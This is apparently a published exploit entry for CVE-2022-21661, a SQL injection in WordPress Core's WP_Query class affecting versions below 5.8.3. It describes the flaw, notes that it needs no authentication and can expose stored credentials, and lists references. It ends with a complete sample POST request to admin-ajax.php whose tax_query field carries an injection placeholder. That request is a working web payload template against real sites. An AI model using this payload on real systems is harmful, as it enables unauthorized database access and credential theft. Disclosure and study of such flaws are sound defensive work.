# Exploit Title: WordPress Core 5.8.2 - 'WP_Query' SQL Injection # Date: 11/01/2022 # Exploit Author: Aryan Chehreghani # Vendor Homepage: https://wordpress.org # Software Link: https://wordpress.org/download/releases # Version: < 5.8.3 # Tested on: Windows 10 # CVE : CVE-2022-21661 # [ VULNERABILITY DETAILS ] : #This vulnerability allows remote attackers to disclose sensitive information on affected installations of WordPress Core, #Authentication is not required to exploit this vulnerability, The specific flaw exists within the WP_Query class, #The issue results from the lack of proper validation of a user-supplied string before using it to construct SQL queries, #An attacker can leverage this vulnerability to disclose stored credentials, leading to further compromise. # [ References ] : https://wordpress.org/news/category/releases https://www.zerodayinitiative.com/advisories/ZDI-22-020 https://hackerone.com/reports/1378209 # [ Sample Request ] : POST /wp-admin/admin-ajax.php HTTP/1.1 Host: localhost Upgrade-Insecure_Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.99 Sec-Fetch-Dest: document Sec-Fetch-Mode: navigate Sec-Fetch-Site: cross-site Sec-Fetch-User: ?1 Cache-Control: max-age=0 Connection: close Content-Type: application/x-www-form-urlencoded action=<action_name>&nonce=a85a0c3bfa&query_vars={"tax_query":{"0":{"field":"term_taxonomy_id","terms":["<inject>"]}}}